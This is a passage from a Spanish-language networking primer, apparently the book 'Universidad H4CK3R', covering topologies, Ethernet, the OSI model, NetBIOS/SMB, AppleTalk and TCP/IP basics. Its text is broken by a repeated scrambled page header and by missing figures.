(www.guiadohardware.com). La propia Internet est llena de buenos tutoriales y artculos
sobre el tema. No te agobies, por cuando se expone aqu. adelante! la calle es para
todos! Estudia!
- Conceptos
Las tecnologas que evolucionaron desde el telgrafo y el telfono hasta lo que hoy
conocemos como redes de ordenadores tienen varias caractersticas que deben ser
analizadas para que nuestros proyectos de redes sean eficientes y seguros. Algunos de
estos aspectos bsicos son los siguientes:
Estructura fsica: los componentes de hardware (material elctrico) que forman una red.
Simplificando la definicin, podemos decir que es lo que se puede tocar.
Topologa: cmo las computadoras estn fsicamente unidas entre si en la red. Cada
problema requiere una topologa diferente para resolverlo, y hay situaciones en las que
han de combinarse varias topologas para resolver el problema de la mejor manera
posible.
Protocolos: las normas que rigen las comunicaciones entre ordenadores y "lenguas" que
hablan entre s.
En este captulo, se presenta un "resumen" que cubre los aspectos bsicos de las
31
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
que no estn directamente vinculados a ellos. Internet no es ms que una gran red de
routers.
- mbito de aplicacin
Adems de los conocimientos de los componentes individuales que componen una red,
debe tener una idea de cmo se pueden cubrir diferentes reas. Los nombres de cada
categora, no son tan importantes. Pero conocer los diferentes problemas inherentes a
cada situacin, es fundamental para el xito del proyecto.
LAN: las famosas redes locales, ahora se llaman departamentales. Los equipos se
encuentran geogrficamente en un mismo local, y el nmero de mquinas es pequeo.
No hay muchos problemas de interconexin.
MAN: tiene como objetivo cubrir un rea urbana con aproximadamente 30 km de radio.
Por lo general, esta compuesto por la interconexin de todas las redes locales de la
misma empresa, en la misma rea metropolitana.
WAN: capaz de alcanzar grandes distancias. Su seal es siempre reforzada para evitar la
prdida de datos durante la transmisin. En el caso de redes privadas, una WAN es la
interconexin de las MAN de una institucin o grupo de instituciones. Tratandose de
redes pblicas, la WAN ms popular del mundo es Internet.
Topologas
Cuando hablamos de topologas de red, nos estamos refiriendo a la disposicin lgica de
la misma. Hay varias maneras en que podemos organizar los enlaces entre cada uno de
los nodos (cada punto de conexin a la red puede ser llamado un nodo,
independientemente de la funcin de los equipos representados por l).
Existen cuatro topologas que llamamos patrones: de punto a punto, bus, en anillo y en
estrella. La eleccin de la topologa adecuada para una aplicacin determinada depende
de varios factores, la estabilidad, velocidad, fiabilidad y coste son los ms importantes. La
distancia entre los nodos y tamao de la red son tambin factores importantes.
- Principales topologas
de punto a punto, tambin conocida como lineal, se caracteriza por la disposicin de los
equipos en serie, por lo que los datos pasan a travs de todas las estaciones que estn
conectadas, pero slo el destinatario puede reconocerIos.
33
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Bus: una extrapolacin de punto a punto. De hecho, muchas redes de pares (de punto a
punto) hacen uso de los buses. En este tipo de conexin, todos los equipos estn
conectados en el mismo bus de datos fsicos. Si bien los datos no pasan a travs de cada
una de las maquinas, slo una mquina puede "escribir" en el bus en un momento dado.
Todos los dems "escuchan" y recogen los datos enviados para ellos.
Anillo: esta topologa consiste en un circuito cerrado. La red conocida como Token Ring
(creada por IBM) es la ms famosa. Cuando
fueron creadas, ofrecian una velocidad de
transmisin mucho ms altas que en las redes
lineales, pero la adicin de un gran nmero de
mquinas en el anillo causaba problemas de
retraso, ruido y sincronizacin. Por lo tanto,
esta topologa ha caido en desuso para las
redes locales. En WAN, por el contrario, como
somos pocos (uno para cada red que desea
establecer el vnculo), la topologa de anillo es
la ms adecuada.
Estrella: En esta topologa, toda la
informacin, necesariamente, debe pasar por
una central inteligente, es necesario conectar
cada estacin de la red y distribuir el trfico para que una estacin no reciba
indebidamente los datos destinados a otra.
ATENCIN: una red local que utiliza un
concentrador no es considerada como una
estrella! Un hub es un dispositivo que tiene
internamente un bs! El trfico que entra a
travs de un puerto en el hub es dirigido a
todos los dems puertos. Una red que usa
conmutadores (switchs), sin embargo, es un
perfecto ejemplo de una configuracin en
estrella. Otro ejemplo es la terminal de
control "tonta" (dumb) de los mainframes y
minicomputadoras.
La ventaja de las implementaciones en
estrella es la alta especializacion en el
34
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
trfico. Slo los datos destinados a un nodo se envan al mismo. Los costos de
implantacin y funcionamiento, sin embargo, son altos, y las configuraciones en estrella
se utilizan actualmente ms para conectar segmentos de red que en nodos individuales.
Protocolos
Extrado del Diccionario de Novo Aurlio del portugus:
protocolo. [Del gr. protkollon, "la primera hoja pegada a los rollos de papiro, y en el que
se escribia un resumen del contenido del manuscrito, en lat. protocollu y en fr.protocole ]
S.M. 1. Registro de los actos pblicos. 2. Actas de las audiencias de la corte. 3. Regstro
o deliberacin de una conferencia diplomtica. 4. Formulario regulador de eventos
pblicos. 5. Convencin internacional. 6. registro de la correspondencia de una empresa,
el gobierno de oficina, etc. 7. Bras. Tarjeta o resbaln en esa nota de la fecha y nmero
de serie que se ha registrado en el libro de protocolo (6) un requisito, y que sirve como
recibo. 8. formalidad , la etiqueta, la etiqueta ceremonial. 9. Informar. Protocolo de
Comunicacin (q. v.). Protocolo de comunicacin. 10. Informar. Conjunto de reglas,
normas y especificaciones tcnicas para la transmisin de datos entre ordenadores a
travs de programas especficos, lo que permite la deteccin y correccin de errores, el
protocolo de transmisin de datos. Tb [. dice nico protocolo.] Protocolo para la
transmisin de datos. 11. Informar. Protocolo de Comunicacin (q. v.).
La palabra protocolo tiene, distintos significados, tanto en portugues como el idioma
aceptado como universal, Ingls. Tres de los significados llaman la atencin:
3.Registro de una conferencia diplomtica o deliberacin.
5. Convencin internacional.
8. Formalidad , la etiqueta, la etiqueta ceremonial.
El trmino tiene su origen en el griego para designar a la pgina de resumen de papel
(protos = kollon en primer lugar, = hoja), pero su uso est muy extendido en el mbito
diplomtico, en un primer momento, como los documentos que registran las actitudes y
procedimientos que deben seguirse en las reuniones o discusiones con otras naciones, y
ms tarde como un sinnimo de estos procedimientos. La definicin 3 ilustra el sentido
diplomtico original de la palabra, la definicion 5 muestra el concepto moderno. En sentido
figurado, la gente comenz a considerar cualquier procedimiento operativo estndar (ya
sea diplomtico o no) como protocolo - exactamente lo que nos dice la definicin 8.
Cuando las redes de computadoras comenzaron a pasar de la teoria a la practica en los
laboratorios tecnologicos (ya en los aos 50), era necesario crear un mecanismo para que
cada dispositivo conectado a ella podra comunicarse con los dems, incluso tratandose
de equipos diferentes. Se crearon mensajes estndar, y si dos equipos querian
comunicarse, ambos deverian conocer esos mensajes. Por similitud de ideas (y hacer una
broma con la definicion diplomtica), los ingenieros llamaron a estos mensajes el
protocolo estndar.
Observe las definiciones 9, 10 y 11. Si nos fijamos, vemos que no son ms que
extrapolaciones de la 5 y 8. Veamos, a continuacin algunos de los protocolos de red ms
populares, sus funciones y caractersticas.
35
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Cmo funcionan
Los protocolos son como "frases" que una interfaz de red tienen que decir para poder
comunicarse con otras. Cmo se puede apreciar "otras" de la frase anterior es plural,
tiene que haber alguna manera para que todas las mquinas conectadas en la misma red
puedan, "escuchar" un mensaje, entiendo si es para ellas o no.
La primera cosa que un protocolo de red debe aclarar es de que protocolo estamos
hablando. Debe haber en algn lugar al comienzo del mensaje, un indicador del protocolo.
Recuerde que, no siempre hay un slo protocolo funcionando en la red, por eso es
necesario identificar a todos.
Considerando que un mensaje (o paquete, que es el trmino tcnico para esta entidad) de
una red es un conjunto de datos de un nodo de origen a otro de destino, y que estos datos
se transmiten en forma de serie de bits, se puede decir que,tenemos en el cable de la red,
un "tren" de pulsos elctricos secuenciales.
Para fines didcticos, vamos a "construir" un paquete con un protocolo genrico y ficticio,
creado por nosotros. Ya sabemos que nuestro mensaje tiene que empezar con un
identificador de protocolo, entonces tenemos algo como esto:
Una de las cosas que el protocolo debera definir, ms all de la posicin en la que esta
cada uno de los datos, es su tamao. Por lo tanto, en nuestro protocolo ficticio definimos
que el protocolo de identificacin este en primera posicin. Pero tambin debemos definir
cuntos bits se van a utilizar para identificarIo. Supongamos que, en nuestra tecnologa
de red, slo habr cuatro protocolos diferentes. Para cuatro valores diferentes, slo se
necesitan dos bits. As que cuando publicamos nuestras normas y proyectamos nuestras
tarjetas de red, sabemos que: los dos primeros bits de ese paquete identifican el protocolo
que estamos usando.
Hay otra cosa que ya sabemos: cul es la mquina de destino del paquete, y cual el
equipo de origen. Cada nodo en una red tiene un identificador nico que lo distingue de
todos los dems nodos. Este identificador se llama comnmente la direccin, as que,
sabemos que es necesario insertar en nuestro paquete, cuntos bits utilizar para
representar la direccin de origen y de destino. Nuestra tecnologa de red slo va a tener
16 nodos al mismo tiempo, entonces, cuatro bits son suficientes. (Estamos suponiendo
que el lector sabe hacer la conversin decimal/binario).
El paquete quedaria asi:
Falta algo, no?. No tendriamos ningun problema en enviar por correo un sobre con
remitente, destinatario, el sello (que en este caso, identificaria el protocolo de
comunicacin: el sistema postal), pero, sin una carta en su interior?. Ha nuestro
36
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
protocolo le falta algo importante por hacer. Tenemos que definir un espacio dentro del
mensaje, para cargar los datos que quiere transmitir el nodo de origen hasta el nodo de
destino.
Supongamos que la red para la que estamos creando este protocolo tiene una limitacin:
el tamao del paquete no puede superar los 64 bits. Ya hemos utilizado dos para el
protocolo, cuatro para la direccin de origen y otros cuatro para la direccin de destino. 2
+4 +4 = 10, por lo que sobran 54 bits para la carga til, payload (una expresin utilizada
en el entorno ferroviario para establecer el tamao de la "carga"), y otros campos. Un
protocolo, por muy simple que sea, debe tener un smbolo que marque el final del
mensaje. Vamos a definir una secuencia de 1 byte para esto. Arbitrariamente decidimos
que sea 11001011. El smbolo debe ser lo ltimo que aparece en el mensaje. Los 46 bits
restantes se pueden utilizar para llevar a nuestros datos.
Esta claro, que los paquetes hechos de acuerdo a nuestro simple protocolo, requieren
varios controles ms sofisticados. Podra, por ejemplo, haber un campo en el que
existese un nmero calculado a partir del numero de bits de cualquier mensaje. Este
numero sera recalculado en el nodo de destino, y el resultado es comparado con el que
se almacena en el campo, si coinciden, esto indica que el mensaje no fue daado durante
el viaje.
Otro campo util podra ser un marcador de tamao del mensaje. Con el tamao de
mensaje variable, ajustariamos la cantidad de datos que deben transmitirse en ese
momento. Tomando como ejemplo a nuestro protocolo, que tiene una carga til de 46 bits,
vemos que todos los mensajes tendrn un tamao mximo estricto, a pesar de que se
quiere transmitir un slo bit. Con un campo controlando el tamao de la carga til, se
puede optimizar el uso de mi red y reducir el trfico.
Se podrian estar dias hablando de las numerosas posibilidades de la implementacion de
protocolos. En su lugar, remito al lector a buscar la documentacin teorica de protocolo en
Internet. Los buenos libros en redes (como el del mencionado Andrew Tannemmbaum)
tambin son buenas fuentes de informacin sobre el tema.
- Matrioshka
El campo Protocolo ID (o PID) de nuestro protocolo es un identificador que lo distingue
de otros protocolos que viajan a travs de la red.
El protocolo es nuestro "primer hijo", que bautizaremos como PROT1 (original, eh?).
Puede ser que por el mismo cable, transite nuestro PROT1 y otros tres, creados por sus
colegas: MAIL1, WEB1 y IM1. En cualquier momento, hay cuatro mensajes de estos
protocolos viajando simultaneamente. Los mensajes son independientes y pueden
coexistir en el tiempo y el espacio. Es fcil de observar, por los nombres propuestos, que
el protocolo que cargar MAIL1 seran mensajes de correo, el protocolo WEB1 pginas
Web a su navegador y el protocolo IM1 programas de mensajera instantanea.
37
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Los protocolos de nivel superior son "envueltos" en otros de uso ms general. El proceso
puede seguir indefinidamente, en funcin de las necesidades del proyecto. Cada una de
las capas pueden manejar exigencias especificas de la red. Por ejemplo, la capa de nivel
inferior, probablemente se encarga de los aspectos elctricos de la comunicacin, ya que
la capa superior proporciona un medio para que, los mensajes del programa que est
accediendo a la red, sean bien recibidos en el otro extremo del cable.
Ethernet
Confundido? Tal vez la teora sea un poco pesada. Sin embargo, algunos ejemplos
prcticos, sern suficientes para mostrar al lector que este mtodo de guardar un sobre
dentro de otro no slo es fcil de entender, sino que hace las cosas ms fciles para el
diseador.
Ethernet es un protocolo de red de bajo nivel. Controla como viajan los datos en la red
local, tanto en el control del medio fsico (seales elctricas, impedancia, etc) como el
montaje de una trama, llamada Ethernet, que contiene informacin sobre la direccin de
origen, de destino y los datos a ser transportados. Si abre un cable de red y pone un
analizador lgico para observar lo que est pasando por el, aparecer en la pantalla una
trama Ethernet. La estructura de una trama Ethernet es muy similar a nuestro protocolo
ficticio. Mire:
Una trama de Ethernet tiene un tamao de entre 64 y 1519 bytes (es decir, entre 512 y 12
152 bits). Antes de cada trama Ethernet, hay un tren de 56 bits, alternando ceros y unos,
llamado el prembulo y que sirve para sincronizar los interfaces de red. Una trama de
Ethernet completa, incluido el prembulo, es la siguiente:
38
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Los nmeros debajo de cada campo representan el tamao en bytes. Despus del tren de
pulsos del prembulo, tenemos el Start Frame Delimiter el SFD. Este campo tiene
siempre el mismo valor binario (10101011) y sirve como su nombre indica, para indicar el
principio "oficial" de la trama. Los dos siguientes campos son la direccin de origen y
destino de los interfaces de red. Estas direcciones no estn configuradas por el usuario.
Por el contrario, el fabricante de su adaptador de red la inserta en el propio hardware, una
direccin nica para cada tarjeta en el mundo. La direccin Ethernet, o direccin MAC,
como suele llamarse, tiene seis bytes y es representada por el nmero hexadecimal. Un
ejemplo:
00 - 00 -1D - C1 - 47 F0
Los tres primeros bytes determinan el fabricante de la tarjeta. Los ltimos tres, el rango de
direcciones que este fabricante est autorizado a utilizar
En la lista siguiente, que es muy simplificada, tenemos unas cuantas series de los tres
primeros bytes de direcciones MAC, indicando diferentes fabricantes:
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
El protocolo Ethernet, por si solo, dara para un libro entero. No es necesario para
nuestros propsitos, diseccionarIo ms de lo que hemos hecho. Para una explicacin
mayor, recuerda que Internet es tu amigo.
Como el lector ver a continuacin, se presenta un modelo de referencia para la creacin
de protocolos. Ethemet podra localizarse en las capas 1 y 2 del presente modelo de
referencia. Puede parecer extrao empezar hablando de Ethemet, pero necesitbamos un
ejemplo prctico de protocolo. Como comprobaras ms adelante, todo esta dentro del
proyecto pedaggico ;-)
Modelo OSI.
Podemos decir que el modelo de referencia OSI (Open Systems Interconnection) naci de
la necesidad de crear un protocolo con el que pudieran comunicarse entre si diferentes
redes. Las antiguas redes de computadoras posean protocolos propietarios. Si la
empresa implement una red X, esta slo se podra ampliar y comunicarse con otras
redes y equipos construidos por la misma empresa. La tecnologa utilizada era conocida
slo por un fabricante, no era posible adquirir el hardware en una empresa e instalar una
red empresarial con otra. Los clientes estaban con las manos atadas, porque no haba
competencia y no siempre el fabricante, ofreca la mejor solucin.
Como su nombre indica, es un modelo de referencia OSI, no un protocolo. Vamos a tratar
de ilustrarlo de una manera muy simple: piensa en un procesador de textos. Microsoft
Word, por ejemplo. Hay varios modelos de documentos (llamados plantillas) de la que
podemos crear nuestras propias tarjetas, hojas. o fax. Imagnese el modelo de referencia
OSI como una plantilla para la creacin de protocolos de red. Fcil, verdad?.
El modelo fue desarrollado por la ISO (Organizacin lnternacional de Normas), y se ha
convertido en un estndar para que los fabricantes desarrollen sus protocolos a partir de
este modelo. Sin embargo, puede observarse que los protocolos existentes no se
adhieren estrictamente a estas especificaciones, unos porque son ms viejos que ellas,
otros para alcanzar objetivos tcnicos especficos, y unos pocos por la arrogancia
empresarial pura.
- Capas
El modelo OSI consta de siete capas, cada una con una funcin diferente. Las capas
crean un sobre con los datos de la capa superior, incluyendo su propio encabezado y lo
entrega al siguiente nivel. Cuando el paquete llega a la capa de nivel ms bajo est listo
para ser transmitido. Las capas se organizan de acuerdo a este modelo
40
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
7
APLICACION
PRESENTACION
SESION
TRANSPORTE
RED
ENLACE
FISICA
Cuando un paquete es enviado desde un dispositivo que sigue el modelo OSI a otro, las
capas del remitente se comunican slo con las capas correspondientes en el receptor.
Esto significa que las capas identifican los encabezados equivalentes que se incluyeron
en el proceso de encapsulacin, haciendo que el siguiente nivel no tenga que procesar la
informacin de los niveles anteriores. En pocas palabras, la capa de 4 no tiene la ms
mnima idea de lo que hacen los datos de las capas 3, 2 y 1. Todo lo que sabe es que
hizo un sobre y se la entreg a la Capa 3. En el receptor al otro lado de la conexin, la
capa 3 entregar el sobre cerrado, para que lo abra la capa 4. Pueden haberse producido
cambios en las capas inferiores del protocolo, fragmentacin del paquete, cambio de
orden, no importa. La capa 4, slo quiere saber qu hay en su sobre. Esto se aplica a
todas las capas funcionando independientemente las unas de las otras.
Como hemos dicho, cada capa tiene una funcin especfica. Si tomamos como punto de
partida que cada una de ellas representa, software que realiza las funciones descritas (a
excepcin de la capa 1 que es la implementacin de hardware), vemos que el modelo
propuesto, en lugar de ser abstracto, es palpable.
7 - Capa de Aplicacin
La capa de aplicacin es, como su nombre lo indica, la propia aplicacin. En otras
palabras, es el programa que est utilizando. Por ejemplo, el navegador Web es la capa
de aplicacin, y habla directamente al servidor Web que est en el otro extremo de la
conexin. No es una "conversacin a dos" entre los programas. No es realmente parte de
la red. Al contrario, esta capa representa a todos los programas que quieren acceder a la
red y no saben cmo hacerlo. La nica manera de que los programas que usamos
consigan comunicarse con otros programas en otras maquinas es "hablar" con la capa 6.
41
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
6 - Capa de Presentacin
Llamada por muchos "la capa sin funcin" o "capa intil." En teora, sirve para preparar los
datos en el dominio local y ponerIos en un formato compatible con los procedimientos de
transporte. En sentido contrario, estandariza los diferentes tipos de datos de manera que
cualquier aplicacin pueda ser escrita para usar la red, independientemente de las
implementaciones de las cinco capas inferiores. Dos ejemplos de los servicios ejecutados
en esta capa es la compresin y cifrado de datos. En la prctica, esto es trivial y se
ejecuta en la aplicacin.
5 - Capa de Sesin
La capa de sesin es responsable de establecer conexin entre dos equipos que se
comunican. Controla el dilogo entre las aplicaciones en los sistemas locales y remotos.
Tambin puede agrupar los datos en bloques y Ios marca despus de enviarlos. Si hay
una interrupcin en la conexin, la prxima sesin se iniciar a partir del ltimo bloque
enviado.
4 Capa de Transporte
La capa de transporte proporciona los medios para que los nodos locales y remotos
puedan intercambiar datos. Usando una analoga un poco imprecisa, los programas de la
capa 4 crean un "tubo" entre la capa 5 local y capa de 5 cinco remota. Si los programas
de la capa 5 de ambas mquinas miran por el tubo, vern, en el otro lado, su
compaero. Es a travs de esta tubera suministrada por la capa 4 que sucede toda la
"magia" de las capas anteriores.
3 - Capa de red
Hasta ahora, estbamos en el campo exclusivamente de los programas. Las capas
anteriores se comunican directamente con el programa correspondiente de los equipos
remotos. La tercera capa, en cambio, conoce la distribucin de la topologa y de la red y
sabe cmo encontrar una mquina en particular, a travs de la selva de los caminos y las
direcciones. La capa de red no esta orientada a la conexin como la capa de transporte.
Los paquetes se envan sin saber si van a llegar o no. Debido a que la conexin se
establece en la capa inmediatamente superior (que, dicho sea de paso, esta encapsulada
en esta), esto no es un problema.
2 - Capa de enlace
La capa de enlace es la responsable de la comunicacin directa entre dos interfaces en la
misma red. No tiene conocimiento de otras redes ademas de la suya. Por otra parte, es la
capa en la que la red de origen y de destino, efectivamente recogen y entregan el paquete
a la interface de red correcta. Control y deteccin de errores son parte de su oficio.
1 - Capa Fsica
Como su nombre indica, se encarga de enviar las tramas al medio fsico. La conversin se
realiza a partir de los 0s y1s de la trama (sistema binario) y lo adapta al medio, en un
medio elctrico se transforman en seales elctricas, en un medio ptico, en seales
luminosas, etc.
42
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Un ejemplo prctico
Para entender mejor, una pequea alegora: un juego, un partido entre dos jugadores de
ajedrez, uno en Londres y otro en Sydney. Los jugadores son los usuarios. El juego en s
(tablero, piezas y reglas) es la aplicacin (nivel 7). Los movimientos se registran en la
notacin de tabla (por ejemplo, el movimiento de un caballo puede ser B3C5) y escrito en
papel - esto es la presentacin (nivel 6). Tenga en cuenta que no es suficiente poner
simplemente una hoja en el sobre con la indicacin de la jugada. Hay que escribir una
carta completa con la fecha, el saludo y la firma, se pregunta por la familia, trabajo,
vacaciones, etc. Para crear un vnculo ntimo entre los dos.
Pero, cmo enviar la jugada al otro jugador de ajedrez? Bueno, es necesario establecer
un capa de sesin (5) comunicacin. En nuestro caso, la solicitud de la sesin est
representado por los servicios del Servicio Postal. Colocamos la carta en el sobre,
escribimos la direccin, ponemos el sello y la echamos en el buzn. Por otra parte,
nuestro colega abre la carta y establece una sesin.
El Servicio Postal es responsable del transporte de nuestra carta (capa 4). Esto significa
crear los medios para que la conexin entre los dos jugadores de ajedrez sea establecida.
Cuando ponemos la carta en el buzn, esperamos que, de alguna manera, llegue a las
manos del destinatario. Los mecanismos utilizados para ello no nos interesan.
El Servicio Postal separa las cartas por pas, luego por regin, a continuacin, por
provincia, luego por ciudad, y luego por la calle. Una vez separados, junta los paquetes de
cartas dirigidas a cada calle y los enva all. Se utiliza para ello una red de carreteras,
ferrocarriles y la aviacin (nivel 3) y un ejrcito de carteros para entregar las cartas.
Camiones, autobuses, aviones, motocicletas y los carritos de los carteros son los
elementos que llevan los paquetes de cartas dentro de la red viaria. Los camiones slo
van por las carreteras, los aviones slo vuelan, los carteros simplemente caminan en las
ciudades. Ninguno de ellos sabe los detalles de toda la ruta de las cartas, slo de cmo
entregar las tarjetas a nivel local. Ellos son nuestra segunda capa.
Tenga en cuenta que si necesita cambiar el tipo de red (por ejemplo, para salir de un
avin y llegar en un autobs), nuestras cartas son manejadas por los trabajadores de
correos que trabajan en actividades propias de la capa 3. Ellos saben distribuir entre las
redes. Los pilotos de los aviones, por ejemplo, no saben nada de eso.
Los aviones se utilizan como apoyo a los envos areos. Los camiones viajan por las
carreteras. Los carteros andan por cada lugar, que mereceran muchas medallas (ni el
viento ni la lluvia ...). El aire, las carreteras y las colinas son nuestros medios fsicos por
donde se realiza el transporte de todo lo que se describe en las capas superiores.
Uf! Explicamos el modelo OSI, con un ejemplo nada tecnolgico (tanto el correo postal
como el ajedrez han existido desde hace miles de aos ...), un mtodo para el transporte
de mensajes entre dos aplicaciones. Hay cosas interesantes de observar en este ejemplo,
que muestran todas las teoras que participan en el modelo de referencia.
Encapsulacin: La jugada fue encapsulada en la notacin de tabla, que fue encapsulada
en la carta, que a su vez fue encapsulada en un sobre, que estableci una sesin de
comunicacin con los protocolos de clasificacin y transporte de correo, que enva
paquetes de cartas segn la ruta especificada, que ese trfico de vehculos corra
43
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
TCP/IP, que son: Aplicacin, SPX, IPX, ODI/Ethernet y capa de interfaz con la red red.
APLICACION
SPX
IPX
ODI/Ethernet
Interface con la Red
Cada uno de los protocolos de todas las capas Netware ha sido especialmente diseado
para permitir una alta fiabilidad y rendimiento. Se utilizan varios flags de control y
sistemas redundantes de comprobacin de errores y el reenvo de paquetes. La propia
capa ODI representa una encapsulacin del protocolo Ethernet para hacerIo satisfacer las
demandas de los diseadores de Novell. Pero no todo son flores, el aumento del nmero
de controles para garantizar la fiabilidad genera una cada en el rendimiento en proporcin
directa. Este fue uno de los muchos factores que contribuyeron al abandono del SPX/IPX
como uno de los protocolos de red mas populares.
NetBIOS/NetBEUI/SMB/CIFS
No hay mayor mejora para los usuarios corporativos de las redes de Windows que la
facilidad y la velocidad para compartir con otros colegas una impresora o una carpeta.
Incluso disponer una unidad de CD, CD-R, CD-RW, DVD, Zip o disquete.
La Red Basic Input Output System fue diseada por IBM y ampliada por Microsoft y Novell
para el uso en sus redes de rea local, redes de PCs, LAN Manager y Netwate 2.0. Como
su nombre indica en realidad, NetBIOS es una serie de extensiones de entrada/salida
para que el vello sistema operativo MS-DOS y sus descendientes puedan acceder a las
redes locales. NetBIOS se basa en un formato de mensajera llamada Red de bloques de
control (Network Control Blocks (NCB)), que conducan de paseo a lo largo de la red los
protocolos de capa 2 existentes. Entre los NCB, viaja a otro protocolo llamado Bloques de
mensajes del servidor (Server Message Blocks SMB), que le dice a las mquinas donde
estn, quines son, cules son sus direcciones MAC, y qu recursos (discos e
impresoras) tienen que compartir. Se encuentra en las placas de Ethernet, Token Ring y
en las ultimas versiones de Windows NT. NetBIOS implementa las funciones de las capas
4 (transporte) y 5 (sesin) del modelo de referencia OSI. El SMB implementa las
funciones de las capas 6 (presentacin) y 7 (aplicacin). Sin embargo, estos no eran
interfaces de programacin e implementacin de protocolos, y nunca fueron
implementadas las funciones correspondientes a las capas 2 (enlace de datos) y 3 (red).
Con el tiempo, NetBIOS fue incorporando como una API de programacin, un protocolo
nuevo que se conoce como NetBEUI (Interfaz de usuario mejorada de NetBIOS). Slo los
NetBEUI, de IBM y Microsoft implementaron, al final, un marco normalizado para la
transmisin en la capa 4. La tercera capa, sin embargo, se queda fuera, no es posible
enrutar NetBEUI entre redes diferentes.
El par NetBIOS/NetBEUI siempre fue elogiado por su actuacin en redes locales, por lo
45
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
46
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
SMB/CIFS (7 e 6)
NetBIOS/NetBEUI/NMB (5 e 4)
TCP/IP o IPX/SPX (4 e 3)
Ethernet (2 e 1)
A pesar de su edad y sus fallos, los protocolos basados en SMB/CIFS son muy populares
an hoy en da por la facilidad con que los usuarios pueden compartir los recursos de sus
computadoras. En las redes bien administradas eso puede aumentar la produccin. En las
redes de mal administradas puede aumentar la confusin ... En ambos casos, es la
aplicacin de redes ms utilizadas de la tierra.
Appletalk
El AppletaIk, como su nombre indica, es el protocolo propietario utilizado en redes de
ordenadores de Apple. Se trata de protocolos de transporte y entrega, el ATP (AppleTalk
Transport Protocolo) y DDP (Datagram Delivery Protocol), lo que equivale a las capas 4 y
3 del modelo de referencia OSI, respectivamente.
- Capas
El modelo AppleTalk se divide en cinco capas: aplicacin, sesin, transporte, distribucin
y acceso a la red. Muy similar a la norma OSI.
APLICACION
SESION
TRANSPORTE
DISTRIBUCION
ACCESO A LA RED
TCP/IP
El protocolo conocido como TCP/lP (Transmission Control Protocol/Internet Protocol) es
actualmente el estndar de facto. Fue diseado precisamente para trabajar en las capas 3
y 4 del modelo OSI y, por tanto, completamente enrutable. Su creacin fue con fines
acadmicos y militares, pues fue utilizado en diversas redes de universidades y de
defensa de EE.UU. en los aos 70 y 80. El protocolo ha logrado "fama" con Internet y esta
implementado en prcticamente todos los sistemas operativos.
- Capas
El TCP/lP se divide en varias capas, como se explica a continuacin:
La capa de aplicacin: Responsable de la comunicacin entre el protocolo para el
transporte y las aplicaciones en ejecucin, tales como DNS, FTP, HTTP y SMTP, entre
47
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
otras. Corresponde a las capas OSI 7, 6 y 5 y se lleva a cabo en los propios programas
(capa 7).
La capa de transporte: Crea una conexin virtual entre dos equipos, tal y como se
describe en el modelo OSI.
Capa de Internet: Responsable de la organizacin y el enrutamiento de paquetes definido
en sus direcciones.
Capa de interfaz de red: Se encarga de la entrega de los datagramas de la capa de
Internet. No forma parte del protocolo TCP/lP, pero es un componente obligatorio. Se
utiliza comnmente el protocolo Ethernet, aunque TCP/lP es completamente
independiente y puede viajar en medios tan diversos como la fibra ptica/FDDI, enlaces
de radio, X.25 o Frame Relay.
APLICACION
TRANSPORTE
INTERNET
INTERFAZ DE RED
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
versiones - en fin, todo lo que usted espera de una implementacin real de un protocolo.
Un paquete IP tiene el siguiente aspecto:
Versin
IHL
Tipo de Servicio
Identificacin
Tiempo de vida
Tamao Total
"Flags "
Protocolo
Fragmentacin
Nmero de Verificacin
Direccin IP de origen
Direccin IP de destino
Opciones (si procede)
Llenado
Datos
- Direccin IP
Un nmero de IP consta de 4 bytes de tamao en el formato especfico: 000.000.000.000,
en el que cada byte puede introducir un valor que va desde 0 a 255, como 198.254.10.1.
Otra informacin relevante es que no puede haber dos mquinas con la misma direccin
IP en la misma red, causara conflictos entre las maquinas y una de ellas no podra
conectarse a la red.
- Mscara de red
Tiene el mismo formato que la direccin IP (000.000.000.000), pero slo afecta a un
segmento particular de la red. Se utiliza para dividir grandes redes en redes ms
pequeas, lo que facilita la gestin y la reduccin de trfico espureo.
- TCP/UDP
Dentro del paquete IP podemos transportar dos tipos de paquetes de datos que
pertenecen a la capa 4. Uno de ellos, el TCP es el medio utilizado por la mayora de los
servicios para transportar informacin entre los dos extremos de la conexin, y tiene
funciones de control de flujo y de recepcin. El otro UDP, es mas simple y sin ningn tipo
de control, pero es ms rpido y tiene menos impacto en el rendimiento de la red.
- Puertos
Los paquetes IP estn relacionados con la red, y por lo tanto sabemos que llevan los
